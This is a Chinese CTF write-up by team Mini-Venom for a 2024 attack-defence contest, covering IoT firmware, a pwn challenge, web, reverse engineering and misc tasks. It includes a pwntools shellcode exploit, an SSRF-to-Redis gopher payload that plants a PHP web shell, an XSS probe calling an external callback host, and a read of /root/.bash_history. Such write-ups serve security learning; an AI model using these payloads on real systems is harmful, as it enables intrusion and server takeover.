矩阵杯战队攻防对抗赛 writeup by Mini-Venom

WriteUp 3周前 admin
73 0 0

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

IOT

special

文件头被修改了

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

修改hs9s为hsqs即可binwalk解包

根据web中的信息知道是totolink

根据这篇文章

https://github.com/hurricane618/my_cves/blob/master/router/totolink/A720R_leak_config_file.md

通过apmib_decode来提取配置文件就可以找到用户名和密码 https://github.com/H4lo/apmibConfigFileDecode

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

得到密码:H3r0s1mpl3

md5(H3r0s1mpl3)= 0e327444a0ef9a1819c341f396d97b18

Pwn:

fshell

存在一定混淆,ida没法在main函数f5. 根据汇编分析可知明面上有5个功能函数,实则有第六个,会修改flt_8105300段为可执行。

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

login函数简单的换位加密,直接解密得到passwd:ozrrvnqc

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

decrypt函数有个判断:

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

只要满足[ebp-0x20]为0就会进入后门函数

decrypt接收字符的地址为ebp-0x34,限制20个字符。

rot函数进行解密,遇到0才停止,利用其可以将ebp-0x20的字符置0进入后门函数。

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

int转为long double再转为float然后变成shellcode。 直接爆破可以发现v3的后两个字节可以任意控制,第三个字节只能在0-0x35之间,刚好可以构造push jmp和pop jmp

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

利用残留的寄存器值实现read的调用,然后写入shellcode即可。

Exp:

from pwn import *

p = process('./main')
context.arch = 'x86'
p.recvuntil('@:')
p.sendline('1')
p.recvuntil('ame:')
p.sendline('user')
p.recvuntil('ord:')
p.sendline('ozrrvnqc')
p.recvuntil('@:')
p.sendline('6')
p.recvuntil('@:')
p.sendline('3')
p.recvuntil('set:')
p.sendline('10')
p.recvuntil('pt: ')
p.sendline('k'*20)
push_eax = 0x5b597483
pop_eax = 0x5b597a33
push_ebx = 0x5b597603
pop_ebx = 0x5b597ba3
push_ecx = 0x5b59749b
pop_ecx = 0x5b597a3b
push_edx=0x5b59754e
pop_edx = 0x5b597aee
int_80 = 0x5dde8fe0
p.sendline(str(push_eax))
p.sendline(str(push_ebx))
p.sendline(str(push_ecx))
p.sendline(str(push_edx))
p.sendline(str(pop_eax))
p.sendline(str(pop_ebx))
p.sendline(str(pop_edx))
p.sendline(str(pop_ecx))
p.sendline(str(int_80))
p.sendline('1')
p.sendline(b'a'*0x22+asm(shellcraft.sh()))
p.interactive()

爆破脚本:
#include<stdio.h>
#include<string.h>
int main() {
        long long a;
        long double v11;
        int v4;
        //FILE* fp = fopen("shell.txt""w");
        float v2;
        float v5;
        float v3;
        for (int i = 0x10000; i < 0x100000000 - 1; i++) {
                v4 = i;
                v11 = (long double)v4 / (long double)0xb4;
                v2 = v11;
                v5 = v2;
                v3 = v11;
                if (*((unsigned char*)&v5 + 3) <= 0x4a) {
                        continue;
                }
                if((*(int *)&v3)%0x1000000==0x01eb53&&v3>0){
                        printf("%#x %#x %llfn", v4,*(int *)&v3, v11);
                        break;
                        //fprintf(fp, "%#x %#x %llfn", v4, *(int*)&v3, v11);
                }
                //if (i % 0x10000 == 0)fflush(fp);
        }
        //fclose(fp);
}

Web:

easyweb

过滤反斜杠没对

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

访问7l8g

flag{Nxjyi4nnxpRmT4Wylk0DBTK9Qv5jZNse}

where

文件读取/look?file=

/root/.bash_history

flag{7PfNDP1ZOi9e0MmU46AQiP0u90OhsjPT}

tantantan

有一个aaabbb.php,因该是bot

可以尝试用meta跳转。 

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

那个bot meta没反应,link也没反应,但是直接用payload访问

/?xss=http://web-05574678fa.challenge.xctf.org.cn/?xss=%3Clink%20rel=%22dns-prefetch%22%20href=%22//be96b671-eb5c-40dd-81f5-35180ffcc085.dnshook.site%22%3E

webhook是能收到请求的

我不太明白她bot的逻辑是什么。 如果domain是127.0.0.1,报文最后就会反射给你他的回显。

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

如果是靶机地址的话就没有:

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

不会是个假XSS吧,实际上是SSRF利用。。 file:///读文件aaabbb.php

<?php
error_reporting(0);
// error_reporting(E_ALL & ~E_WARNING);
// highlight_file(__FILE__);
$url=$_POST['data'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

可能是打 dict://127.0.0.1:6379/info

有redis未授权,看来是打gopher redis了。 

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

POST /aaabbb.php HTTP/1.1
Host: web-24ddad8d15.challenge.xctf.org.cn
Content-Length: 433
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://web-05574678fa.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-05574678fa.challenge.xctf.org.cn/aaabbb.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

data=gopher%3a//127.0.0.1%3a6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

Reverse:

packpy

拿到附件之后,有个upx壳,用工具咋脱都不太好使,有个l_info corrupted报错

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

文件头信息损坏了,盲猜修改了upx的特征,010打开看一手

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

魔改直接改回去,然后工具直接脱了,拉进ida一看,看不明白,动调继续分析越分析越懵逼

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

动调之后发现控制流一直卡在这儿,硬过的话控制流直接飞了,卡了很久,实在没思路,拿着下图这句话pyi-bootloader-ignore-signals直接百度了,百度一下,思路直接打开了

矩阵杯战队攻防对抗赛 writeup by Mini-Venom


矩阵杯战队攻防对抗赛 writeup by Mini-Venom

我说为啥叫packpy,直接解包就好了

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

直接把主要逻辑的pyc找个在线网站反编译一下就好了

import base58
import zlib
import marshal

try:
    scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
    exec(marshal.loads(zlib.decompress(base58.b58decode(scrambled_code_string))))
finally:
    pass
return None

还有一段base58,最后exec是执行,那就直接解码之后看看

  3           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (random)
              6 STORE_NAME               0 (random)

  5           8 LOAD_CONST               2 (b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff')
             10 STORE_NAME               1 (encdata)

 12          12 LOAD_CONST               3 (<code object generate_key at 0x000001906F646340, file "run.py", line 5>)
             14 LOAD_CONST               4 ('generate_key')
             16 MAKE_FUNCTION            0
             18 STORE_NAME               2 (generate_key)

 19          20 LOAD_CONST               5 (<code object encrypt at 0x000001906F644F50, file "run.py", line 12>)
             22 LOAD_CONST               6 ('encrypt')
             24 MAKE_FUNCTION            0
             26 STORE_NAME               3 (encrypt)

 20          28 SETUP_FINALLY           58 (to 146)

 21          30 LOAD_NAME                4 (input)
             32 LOAD_CONST               7 ('input your flag:')
             34 CALL_FUNCTION            1
             36 STORE_NAME               5 (flag)

 22          38 LOAD_NAME                2 (generate_key)
             40 LOAD_NAME                6 (len)
             42 LOAD_NAME                5 (flag)
             44 CALL_FUNCTION            1
             46 CALL_FUNCTION            1
             48 STORE_NAME               7 (key)

 23          50 LOAD_NAME                5 (flag)
             52 LOAD_METHOD              8 (encode)
             54 CALL_METHOD              0
             56 STORE_NAME               9 (data)

 25          58 LOAD_NAME                3 (encrypt)
             60 LOAD_NAME                9 (data)
             62 LOAD_NAME                7 (key)
             64 CALL_FUNCTION            2
             66 STORE_NAME              10 (encrypted_data)

 26          68 LOAD_NAME               10 (encrypted_data)
             70 LOAD_NAME                1 (encdata)
             72 COMPARE_OP               2 (==)
             74 POP_JUMP_IF_FALSE       84 (to 168)

 27          76 LOAD_NAME               11 (print)
             78 LOAD_CONST               8 ('good')
             80 CALL_FUNCTION            1
             82 POP_TOP
             84 POP_BLOCK
             86 JUMP_FORWARD            12 (to 112)

 28          88 POP_TOP
             90 POP_TOP
             92 POP_TOP
             94 POP_EXCEPT
             96 JUMP_FORWARD             2 (to 102)
             98 <88>
            100 LOAD_CONST               1 (None)
        >>  102 RETURN_VALUE

Disassembly of <code object generate_key at 0x000001906F646340, file "run.py", line 5>:
  8           0 LOAD_GLOBAL              0 (list)
              2 LOAD_GLOBAL              1 (range)
              4 LOAD_CONST               1 (256)
              6 CALL_FUNCTION            1
              8 CALL_FUNCTION            1
             10 STORE_FAST               1 (key)

  9          12 LOAD_GLOBAL              2 (random)
             14 LOAD_METHOD              3 (seed)
             16 LOAD_FAST                0 (seed_value)
             18 CALL_METHOD              1
             20 POP_TOP

 10          22 LOAD_GLOBAL              2 (random)
             24 LOAD_METHOD              4 (shuffle)
             26 LOAD_FAST                1 (key)
             28 CALL_METHOD              1
             30 POP_TOP
             32 LOAD_GLOBAL              5 (bytes)
             34 LOAD_FAST                1 (key)
             36 CALL_FUNCTION            1
             38 RETURN_VALUE

Disassembly of <code object encrypt at 0x000001906F644F50, file "run.py", line 12>:
 15           0 LOAD_GLOBAL              0 (bytearray)
              2 CALL_FUNCTION            0
              4 STORE_FAST               2 (encrypted)

 16           6 LOAD_FAST                0 (data)
              8 GET_ITER
             10 FOR_ITER                22 (to 56)
             12 STORE_FAST               3 (byte)

 17          14 LOAD_FAST                2 (encrypted)
             16 LOAD_METHOD              1 (append)
             18 LOAD_FAST                1 (key)
        >>   20 LOAD_FAST                3 (byte)
             22 BINARY_SUBSCR
             24 LOAD_CONST               1 (95)
             26 BINARY_XOR
             28 CALL_METHOD              1
             30 POP_TOP
             32 JUMP_ABSOLUTE           10 (to 20)
             34 LOAD_GLOBAL              2 (bytes)
             36 LOAD_FAST                2 (encrypted)
             38 CALL_FUNCTION            1
             40 RETURN_VALUE

汇编出来了,直接逆 Exp:

import random

def generate_key(seed_value):
    key = list(range(256))
    random.seed(seed_value)
    random.shuffle(key)
    return bytes(key)

def decrypt(encrypted_data, key):
    decrypted = bytearray()
    for byte in encrypted_data:
        decrypted.append(key.index(byte ^ 95)) 
    return bytes(decrypted).decode()

encdata = b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'

flag_length = len(encdata)

key = generate_key(flag_length)

flag = decrypt(encdata, key)
print(flag)

Misc

两极反转

观察原图发现,很明显右下角的校正标第一行是空白的,结合题目两极反转黑白不变,应该是反色处理。

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

同时左下角的定位符是完整的,而且定位符周围的一圈应该是空白的,所以推测被处理过的部分应该在这中间。

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

再次看题目的hint,奇变偶不变,横变竖不变,说明可能是间隔着反色的,因为不会写脚本所以用ppt手动拼图试一下,毕竟有自动对齐很好用。 右边划线的部分是推测反色的行数。

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

https://fontmeme.com/zh/invert-colors/ 随便找了个在线颜色反转工具 https://f.ws59.cn/f/e932craxy8g 过程中的图片

flag{R3Ver5e_P014r17y}

SPY2.0

USB传输PNG文件,提取出来

Bash tshark -r attach.pcapng -T fields -e usb.capdata > data 

然后去掉00这些没用的字符,逐个包拼接出来

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

然后Steganography解密就好了

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

真假补丁

流量导出三个exe发现是相同的,运行之后自动解压出补丁检测.exe和补丁修复.exe,是python打包的,没有反编译出来,但是查看补丁修复.exe的ascii可以看到大部分字符:

矩阵杯战队攻防对抗赛 writeup by Mini-Venom


矩阵杯战队攻防对抗赛 writeup by Mini-Venom

加上猜测,应该是对后面流量包里的data传参内容进行AES_CBC解密:

密码是补丁检测.exe的32位md5,偏移在winhex能找到:

矩阵杯战队攻防对抗赛 writeup by Mini-Venom


– END –

矩阵杯战队攻防对抗赛 writeup by Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):矩阵杯战队攻防对抗赛 writeup by Mini-Venom

版权声明:admin 发表于 2024年6月3日 上午7:01。
转载请注明:矩阵杯战队攻防对抗赛 writeup by Mini-Venom | CTF导航

相关文章